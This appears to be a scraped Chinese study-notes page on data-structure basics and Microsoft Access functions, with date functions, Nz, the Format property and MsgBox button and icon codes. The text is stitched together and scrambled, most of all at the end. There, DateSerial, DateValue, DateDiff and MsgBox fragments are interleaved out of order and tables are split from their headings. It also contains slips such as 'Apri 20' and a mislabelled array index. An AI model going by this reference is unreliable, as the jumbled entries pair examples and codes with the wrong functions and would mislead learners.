3、算法分析的目的是分析算法的效率以求改善。
4、数据项是数据的最小单位。
数据的最小访问单位是字段。
5、一般说来,数据结构涉及数据的逻辑结构、数据的存储结构、数据的操作3个方面。
6、数据的存储结构是指数据的逻辑结构在计算机中的表达。
一种逻辑数据结构可以有多种存储结构,且各种存储结构影响数据解决的效率。
7、在数据的存储结构中,不仅需要存储各数据元素的信息,还要存放各元素之间前后件的信息。
8、在数据库管理系统提供的数据定义语言、数据操纵语言和数据控制语言中,数据定义语言负责数据的模式定义与数据的物理存取构建。
9、线性数据结构:队列,线性表,栈等等。
常用的结构数据模型有关系型、网状型和树型。
10、线性表中的元素之间具有一对一的关系,除第一个元素和最后一个元素外,其余每个元素都有一个且只有一个直接前驱和直接后驱。
顺序存储是线性表的一种最常用的存储方式。
11、栈的基本运算有三种:入栈、退栈和读栈。
12、栈是限定仅在表尾进行插入和删除操作的线性表。
允许插入和删除的一端叫做“栈顶”,不允许插入和删除的一端叫做“栈底”栈的修改只能在栈顶进行,按照后进先出的原则,具有记忆作用,对栈的插入与删除操作中,不需要改变栈底指针。
13、队列是限定了插入和删除操作的线性表。
它只允许在表的一端进行插入操作(队尾),而在此外一端进行删除操作(队头),队列的修改可以在两端进行,按照先进先出的原则。
14、数据结构分为逻辑结构和存储结构,循环队列属于存储结构。
Access函数大全
Abs 函数返回参数的绝对值,其类型和参数相同。
语法Abs(number)必要的number参数是任何有效的数值表达式,若是number 包括 Null,那么返回Null,若是number 是未初始化的变量,那么返回 0。
说明一个数的绝对值是将正负号去掉以后的值。
例如,ABS(-1) 和 ABS(1) 都返回 1。
Array 函数返回一个包括数组的 Variant。
语法Array(arglist)所需的arglist参数是一个用逗号隔开的值表,这些值用于给Variant所包括的数组的各元素赋值。
若是不提供参数,那么创建一个长度为 0 的数组。
说明用来表示数组元素的符号由变量名、圆括号和括号中的所需元素的索引号组成。
在下面的例如中,第一条语句创建一个Variant 的变量 A。
第二条语句将一个数组赋给变量 A。
最后一条语句将该数组的第二个元素的值赋给另一个变量。
Dim A As VariantA = Array(10,20,30)B = A(2)利用Array函数创建的数组的下界受Option Base语句指定的下界的决定, 除非Array是由类型库(例如 )名称限定。
若是是由类型库名称限定,那么Array不受Option Base的阻碍。
注意没有作为数组声明的Variant 也能够表示数组。
除长度固定的字符串和用户概念类型之外,Variant 变量能够表示任何类型的数组。
尽管一个包括数组的Variant 和一个元素为Variant 类型的数组在概念上有所不同,但对数组元素的访问方式是相同的。
Asc 函数返回一个 Integer,代表字符串中首字母的字符代码。
语法Asc(string)必要的string 参数能够是任何有效的字符串表达式。
若是string中没有包括任何字符,那么会产生运行时错误。
说明在非 DBCS 系统下,返回值范围为 0 – 255 。
在 DBCS 系统下,那么为 -32768 – 32767。
access的表达式语句及通配符
年函数 格式:YEAR(<日期表达式>) 功能:返回年的四位整数。 举例:myd=#Apri 20,1963# YEAR(myd) 返回值1963。 月函数 格式:MONTH( <日期表达式> ) 功能:返回值为1-12之间的整数,表示一年的某月。 举例:myd=#Apri 20,1963# MONTH(myd) 返回值4。
Access数据库基础知识——表达式
日函数 格式:DAY( <日期表达式> ) 功能:返回值为1-31之间的整数,表示日期中的某一天。 举例:myd=#Apri 20,1963# DAY(myd) 返回值20。 小时函数 格式:HOUR( <时间表达式> ) 功能:返回值为0-23之间的整数,表示一天中的某一钟点。 举例:myd=#4:35:17 PM# HOUR(myd) 返回值16。
Access数据库基础知识——表达式
测试字符串长度函数 格式:LEN( <字符串表达式> ) 功能:返回“字符串表达式”字符个数。 说明:当<字符串表达式> 是Null时,则返回Null值。 举例:LEN(“Hello world”) 返回11 删除前导、尾随空格函数 格式:LTRIM( <字符串表达式> ) RTRIM( <字符串表达式> ) TRIM( <字符串表达式> ) 功能:LTRIM函数可去掉前导空格;RTRIM函数可去掉尾 随空格;TRIM函数可同时去掉前导和尾随穿空格。
Access数据库基础知识——表达式
分钟函数 格式:MINUTE( <时间表达式> ) 功能:返回值为0-59之间的整数,表示一个小时中的某分钟。 举例:myd=#4:35:17 PM# MINUTE(myd) 返回值35。 秒函数 格式:SECOND( <时间表达式> ) 功能:返回值为0-59之间的整数,表示一分钟之中的某某钟。 举例:myd=#4:35:17 PM# SECOND(myd) 返回值17。
Access表中各种属性的设置
ACCESS数据表中各个属性的含义、设置方法:格式:Format 属性:可以使用Format属性自定义数字、日期、时间和文本的显示方式。
Format属性只影响数据的显示方式,不影响数据的存储方式。
String型,可读/写。
expression.Formatexpression 必需。
返回“应用于”列表中的一个对象的表达式。
说明可以使用预定义的格式,或者使用格式符号创建自定义格式。
Format对不同的数据类型使用不同的设置,对于控件,可以在控件的属性表中设置该属性。
对于字段,可以在表“设计”视图或“查询”窗口的“设计”视图中(“字段属性”的属性表中)设置该该属性。
也可以使用宏或Visual Basic。
注释在 Visual Basic 中,可输入对应预定义格式的子符串表达式或者输入自定义格式。
Access 为“时间/日期”、“数字”和“货币”、“文本”和“备注”和“是/否”数据类型提供预定义格式,预定义格式与国家/地区设置有关。
Access显示对应于所选国家/地区的格式,例如,如果在“常规”选项卡中选取“英语(美国)”,则1234.56 的“货币”格式是$1,234.56,如果在“常规”选项卡中选取“英语(英国)”,该数字将显示为£1,234.56。
如果在表“设计”字视图中设置字段的Format属性,Access使用该格式在数据表中显示数据。
对窗体和报表上的新控件也应用字段的Format属性。
在任意数据类型的自定义格式中都可以使用以下符号:不能将“数字”和“货币”型的数据类型的自定义格式符号与“日期/时间”、“是/否”或“文本”和“备注”格式符号混合使用。
如果在数据上定义了输入掩码同时又设置了Format属性,在显示数据时,Format属性将优先,而忽略输入掩码。
例如,如果在表“设计”视图中创建了“密码”输入掩码,同时又为字段设置了Format属性,则无论是在表或在窗体上的控件中,数据都将根据Format属性来显示,而“密码”输入掩码则被忽略。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
DateAdd()、DateDiff()、 DatePart()中特定字符含义
“yyyy” “q” “m” “y” “d” “w” “ww” :年 :季 :月 :一年的日数 :日数 :一周的日数 :周 “h” :时 “n” :分钟 “s” :秒
4. DateSerial()
格式: DateSerial(数字, 数字, 数字)
1. DateAdd()
格式: DateAdd(字符表达式, 数字表达式, 日期表达式) 含义:将日期向后或向前推一定的时间间隔
例:DateAdd(“ww”,1,#2011-11-1#) „返回一周后的日期
2. DateDiff()
格式: DateDiff(字符表达式, 日期1, 日期2)
含义:返回两个日期之间的时间间隔数目
第二个数字(图标)
16 32 48 64 : “关键信息”图标 :“问号”图标 :“警告信息”图标 :“通知消息”图标
第三个数字(默认按钮)
0 : 默认选中第一个按钮 256 : 默认选中第二个按钮 512 : 默认选中第三个按钮
MsgBox()函数返回值
1 2 3 4 5
6
7
:单击“确定”按钮 :单击“取消”按钮 :单击“终止”按钮 :单击“重试”按钮 :单击“忽略”按钮 :单击“是”按钮 :单击“否”按钮
含义:返回由指定数字构成的日期
例:DateSerial(1950,4,13) „1950-4-13
5. DateValue()
格式: DateValue(字符表达式) 含义:将字符串中的时间信息转化为日期,结果 为日期型数据
例:DateValue(“1999/1/12”) „1999-1-12 DateValue(“5/14”) „2011-5-14
例:DateDiff(“ww”,Date(),#2011-11-9#) „返回 1 ,两个日期之间相差1周
3. DatePart()
格式: DatePart(字符表达式, 日期表达式)
含义:返回已知日期的指定时间部分,结果为 Integer类型数据 例子:DatePart(“yyyy”, Date) „2011 DatePart(“w”,Date) „4 DatePart(“ww”,Date) „45
6. Nz()
格式: Nz(变量名[, 数据]) 含义:由指定的数据来代替值为NULL的变量,数 据缺省时根据实际环境用0或空字符串代替 例: x = NULL ? Nz(x)+123 „123 ? Nz(x)+”abc” „abc ? Nz(x,”cd”)+“abc” „cdabc
7. MsgBox()中数字特定含义
MsgBox(提示信息[,按钮、图标、默认按钮][,标 题] ) 示例:MsgBox(“这只是一个实验!”, 1+48+256,”测试”) 第一个数字定制提示框中出现的按钮种类; 第二个数字定制提示框中出现的图标种类; 第三个数字指定默“确定” 按钮 1 : “确定”和“取消”按钮 2 : “终止”、“重试”和“忽略”按 钮 3 : “是”、“否”和“取消”按钮 4 : “是”、“否”按钮 5 : “重试”和“取消”按钮